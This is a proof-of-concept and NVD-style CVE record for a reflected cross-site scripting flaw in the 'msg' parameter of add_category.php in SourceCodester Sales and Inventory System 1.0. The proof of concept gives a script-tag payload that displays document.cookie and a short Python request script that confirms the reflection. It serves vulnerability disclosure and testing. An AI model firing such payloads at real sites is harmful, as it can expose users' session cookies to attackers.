CVE-2026-30557

// PoC for CVE-2026-30557 Reflected XSS // Target: SourceCodester Sales and Inventory System 1.0 // Endpoint: add_category.php // Parameter: msg // Attack URL construction: // http://target-site.com/add_category.php?msg=<script>alert(document.cookie)</script> // Payload explanation: // The application takes the 'msg' parameter and reflects it on the page // without sanitization. The script tag executes the JavaScript, // popping up an alert with the victim's cookies. // Example Python Request Script: /* import requests url = "http://target-site.com/add_category.php" payload = {"msg": "<script>alert('XSS')</script>"} response = requests.get(url, params=payload) if "<script>alert('XSS')</script>" in response.text: print("Vulnerability Confirmed") */

{"cve": {"id": "CVE-2026-30557", "sourceIdentifier": "[email protected]", "published": "2026-03-30T16:16:05.310", "lastModified": "2026-04-06T14:16:23.337", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_category.php file via the \"msg\" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en SourceCodester Sales and Inventory System 1.0. La vulnerabilidad se encuentra en el archivo add_category.PHP a través del parámetro 'msg'. La aplicación no sanea la entrada, permitiendo a atacantes remotos inyectar scripts web o HTML arbitrarios a través de una URL manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5A75B7A5-65D7-4AF9-BDE8-EBD496A4942B"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-AddCategory-msg.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}